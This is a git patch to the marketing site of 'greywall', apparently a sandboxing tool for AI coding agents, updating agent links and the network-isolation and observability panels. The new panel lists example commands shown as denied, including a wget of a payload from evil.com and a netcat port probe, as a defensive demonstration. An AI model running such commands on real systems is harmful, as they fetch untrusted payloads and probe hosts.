From 15368fc0bd368505486cd5901a3a239f917616ef Mon Sep 17 00:00:00 2001
From: Nik L <lokhmachevnikita@gmail.com>
Date: Mon, 9 Mar 2026 13:50:23 -0400
Subject: [PATCH] feat: small improvements

---
 app/page.tsx                 |   2 +-
 components/agents.tsx        |  31 +++++----
 components/comparison.tsx    |   7 --
 components/control.tsx       | 126 +++++++++++++++++++----------------
 components/observability.tsx |  21 ++----
 5 files changed, 95 insertions(+), 92 deletions(-)

diff --git a/app/page.tsx b/app/page.tsx
index 023934d..ded1c20 100644
--- a/app/page.tsx
+++ b/app/page.tsx
@@ -19,8 +19,8 @@ export default function Home() {
         <Hero />
         <Agents />
         <Problem />
-        <Layers />
         <Observability />
+        <Layers />
         <Control />
         <Comparison />
         <Footer />
diff --git a/components/agents.tsx b/components/agents.tsx
index 5eca0bf..556415f 100644
--- a/components/agents.tsx
+++ b/components/agents.tsx
@@ -1,16 +1,16 @@
 import { CheckCircle2 } from 'lucide-react'
 
 const agents = [
-  { name: 'Claude Code', org: 'anthropics' },
-  { name: 'Codex', org: 'openai' },
-  { name: 'Cursor', org: 'getcursor' },
-  { name: 'Aider', org: 'Aider-AI' },
-  { name: 'Goose', org: 'block' },
-  { name: 'Amp', org: 'sourcegraph' },
-  { name: 'Gemini CLI', org: 'google-gemini' },
-  { name: 'Cline', org: 'cline' },
-  { name: 'OpenCode', org: 'nicepkg' },
-  { name: 'Copilot', org: 'github' },
+  { name: 'Claude Code', org: 'anthropics', url: 'https://docs.anthropic.com/en/docs/claude-code' },
+  { name: 'Codex', org: 'openai', url: 'https://github.com/openai/codex' },
+  { name: 'Cursor', org: 'getcursor', url: 'https://cursor.com' },
+  { name: 'Aider', org: 'Aider-AI', url: 'https://aider.chat' },
+  { name: 'Goose', org: 'block', url: 'https://github.com/block/goose' },
+  { name: 'Amp', org: 'sourcegraph', url: 'https://ampcode.com' },
+  { name: 'Gemini CLI', org: 'google-gemini', url: 'https://github.com/google-gemini/gemini-cli' },
+  { name: 'Cline', org: 'cline', url: 'https://cline.bot' },
+  { name: 'OpenCode', org: 'nicepkg', url: 'https://opencode.ai/' },
+  { name: 'Copilot', org: 'github', url: 'https://github.com/features/copilot' },
 ]
 
 export function Agents() {
@@ -35,9 +35,12 @@ export function Agents() {
 
         <div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3">
           {agents.map((agent) => (
-            <div
+            <a
               key={agent.name}
-              className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
+              href={agent.url}
+              target="_blank"
+              rel="noopener noreferrer"
+              className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
             >
               <img
                 src={`https://github.com/${agent.org}.png?size=64`}
@@ -46,10 +49,10 @@ export function Agents() {
                 height={28}
                 className="rounded-md shrink-0 bg-muted"
               />
-              <span className="text-sm font-sans font-medium text-foreground truncate">
+              <span className="text-sm font-sans font-medium text-foreground group-hover:text-primary truncate transition-colors">
                 {agent.name}
               </span>
-            </div>
+            </a>
           ))}
         </div>
       </div>
diff --git a/components/comparison.tsx b/components/comparison.tsx
index 520d2d2..341d1a4 100644
--- a/components/comparison.tsx
+++ b/components/comparison.tsx
@@ -41,13 +41,6 @@ const rows: Row[] = [
     claudeSandbox: 'yes',
     containers: 'yes',
   },
-  {
-    feature: 'Transparent network capture',
-    greywall: 'Linux',
-    safehouse: 'no',
-    claudeSandbox: 'no',
-    containers: 'no',
-  },
   {
     feature: 'Command blocking',
     greywall: 'yes',
diff --git a/components/control.tsx b/components/control.tsx
index 447d7e0..255a432 100644
--- a/components/control.tsx
+++ b/components/control.tsx
@@ -91,66 +91,80 @@ export function Control() {
               <h3 className="font-sans font-semibold text-sm">Network isolation</h3>
             </div>
             {platform === 'linux' ? (
-              <div className="space-y-3 text-sm font-serif">
-                <div className="flex items-start gap-3">
-                  <div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
-                  <p className="text-muted-foreground">
-                    <span className="text-foreground">Full network namespace isolation</span> — the
-                    sandboxed process cannot see the host network at all.
-                  </p>
+              <div className="space-y-4">
+                <div className="code-block p-4">
+                  <div className="text-xs text-muted-foreground mb-2 font-sans uppercase tracking-wider">
+                    Network namespace + TUN capture
+                  </div>
+                  <div className="font-mono text-xs space-y-1">
+                    <div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
+                    <div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
+                    <div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
+                  </div>
                 </div>
-                <div className="flex items-start gap-3">
-                  <div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
-                  <p className="text-muted-foreground">
-                    <span className="text-foreground">TUN device captures every packet</span> at the
-                    kernel — even binaries that ignore proxy env vars.
-                  </p>
-                </div>
-                <div className="flex items-start gap-3">
-                  <div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
-                  <p className="text-muted-foreground">
-                    <span className="text-foreground">Domain-level filtering</span> via GreyProxy.
-                    Allow specific domains, block everything else — adjustable live.
-                  </p>
-                </div>
-                <div className="flex items-start gap-3">
-                  <div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
-                  <p className="text-muted-foreground">
-                    <span className="text-foreground">DNS bridging</span> — transparent DNS relay
-                    ensures name resolution works inside the sandbox.
-                  </p>
+                <div className="space-y-2 font-mono text-xs">
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
+                    <span className="text-greyhaven-offwhite">curl https://api.anthropic.com</span>
+                    <span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
+                  </div>
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
+                    <span className="text-greyhaven-offwhite">npm install lodash</span>
+                    <span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
+                  </div>
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
+                    <span className="text-greyhaven-offwhite">wget https://evil.com/payload</span>
+                    <span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
+                  </div>
+                  <div className="flex items-center justify-between py-1.5">
+                    <span className="text-greyhaven-offwhite">nc -z 10.0.0.1 22</span>
+                    <span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
+                  </div>
                 </div>
+                <p className="text-xs text-muted-foreground font-serif leading-relaxed">
+                  Full network namespace isolation — the process can&apos;t see the host network.
+                  Every packet hits the TUN device and routes through GreyProxy, including
+                  binaries that ignore proxy env vars.
+                </p>
               </div>
             ) : (
-              <div className="space-y-3 text-sm font-serif">
-                <div className="flex items-start gap-3">
-                  <div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
-                  <p className="text-muted-foreground">
-                    <span className="text-foreground">Seatbelt network rules</span> block all outbound
-                    connections except to the proxy address.
-                  </p>
+              <div className="space-y-4">
+                <div className="code-block p-4">
+                  <div className="text-xs text-muted-foreground mb-2 font-sans uppercase tracking-wider">
+                    Generated Seatbelt policy
+                  </div>
+                  <div className="font-mono text-xs space-y-1">
+                    <div className="text-red-400/70">(deny default)</div>
+                    <div className="text-muted-foreground">(deny network-outbound)</div>
+                    <div className="text-green-400/70">
+                      (allow network-outbound
+                    </div>
+                    <div className="text-green-400/70 ml-4">
+                      (remote tcp &quot;localhost:43051&quot;))
+                    </div>
+                  </div>
                 </div>
-                <div className="flex items-start gap-3">
-                  <div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
-                  <p className="text-muted-foreground">
-                    <span className="text-foreground">Proxy-based routing</span> via env vars. Traffic
-                    from proxy-aware tools is filtered through GreyProxy.
-                  </p>
-                </div>
-                <div className="flex items-start gap-3">
-                  <div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
-                  <p className="text-muted-foreground">
-                    <span className="text-foreground">Domain-level filtering</span> — allow npm
-                    registry and API hosts, block everything else.
-                  </p>
-                </div>
-                <div className="flex items-start gap-3">
-                  <div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
-                  <p className="text-muted-foreground">
-                    <span className="text-foreground">Localhost control</span> — separate config for
-                    port binding and local service access.
-                  </p>
+                <div className="space-y-2 font-mono text-xs">
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
+                    <span className="text-greyhaven-offwhite">api.anthropic.com</span>
+                    <span className="text-green-400/70 text-[10px]">VIA PROXY</span>
+                  </div>
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
+                    <span className="text-greyhaven-offwhite">registry.npmjs.org</span>
+                    <span className="text-green-400/70 text-[10px]">VIA PROXY</span>
+                  </div>
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
+                    <span className="text-greyhaven-offwhite">evil.com (direct)</span>
+                    <span className="text-red-400/70 text-[10px]">KERNEL DENY</span>
+                  </div>
+                  <div className="flex items-center justify-between py-1.5">
+                    <span className="text-greyhaven-offwhite">analytics.vendor.io</span>
+                    <span className="text-red-400/70 text-[10px]">PROXY DENY</span>
+                  </div>
                 </div>
+                <p className="text-xs text-muted-foreground font-serif leading-relaxed">
+                  All outbound traffic is blocked at the kernel. Only the proxy address is
+                  reachable — GreyProxy then applies domain-level allow/deny rules.
+                </p>
               </div>
             )}
           </div>
@@ -203,7 +217,7 @@ export function Control() {
                 <div>
                   <span className="text-muted-foreground">$ </span>
                   <span className="text-greyhaven-offwhite">
-                    {platform === 'linux' ? 'greywall --learning -- claude' : 'sudo greywall --learning -- claude'}
+                    greywall --learning -- claude
                   </span>
                 </div>
                 <div className="text-muted-foreground mt-2">
@@ -227,7 +241,7 @@ export function Control() {
             <p className="text-xs text-muted-foreground font-serif leading-relaxed">
               {platform === 'linux'
                 ? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
-                : 'Uses macOS Endpoint Security (eslogger) to trace access. Requires sudo for the trace, but the agent runs as your user. Generates a template automatically.'}
+                : 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
             </p>
           </div>
         </div>
diff --git a/components/observability.tsx b/components/observability.tsx
index 82b39cf..ea34d57 100644
--- a/components/observability.tsx
+++ b/components/observability.tsx
@@ -1,11 +1,6 @@
-'use client'
-
 import { Eye, Activity, ShieldQuestion, Zap } from 'lucide-react'
-import { usePlatform } from './platform-toggle'
 
 export function Observability() {
-  const [platform] = usePlatform()
-
   return (
     <section className="py-24 px-6 border-t border-border/30">
       <div className="mx-auto max-w-5xl">
@@ -26,20 +21,18 @@ export function Observability() {
           </p>
         </div>
 
-        <div className="grid grid-cols-1 md:grid-cols-2 gap-6">
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-6 items-stretch">
           {/* Monitor mode */}
-          <div className="space-y-4">
+          <div className="flex flex-col gap-4">
             <div className="flex items-center gap-3">
               <div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
                 <Activity className="h-4 w-4" />
               </div>
-              <h3 className="font-sans font-semibold text-sm">
-                {platform === 'linux' ? 'eBPF violation tracing' : 'Log stream monitoring'}
-              </h3>
+              <h3 className="font-sans font-semibold text-sm">Real-time violation monitor</h3>
             </div>
-            <div className="code-block p-4">
+            <div className="code-block p-4 flex-1">
               <div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
-                {platform === 'linux' ? 'Real-time syscall tracing' : 'Session-tagged violation stream'}
+                Live violation stream
               </div>
               <div className="space-y-1.5 font-mono text-xs">
                 <div>
@@ -76,14 +69,14 @@ export function Observability() {
           </div>
 
           {/* GreyProxy screenshot */}
-          <div className="space-y-4">
+          <div className="flex flex-col gap-4">
             <div className="flex items-center gap-3">
               <div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
                 <Eye className="h-4 w-4" />
               </div>
               <h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
             </div>
-            <div className="rounded-lg border border-border/40 overflow-hidden">
+            <div className="rounded-lg border border-border/40 overflow-hidden flex-1 flex items-center bg-card/30">
               <img
                 src="/greyproxy.png"
                 alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"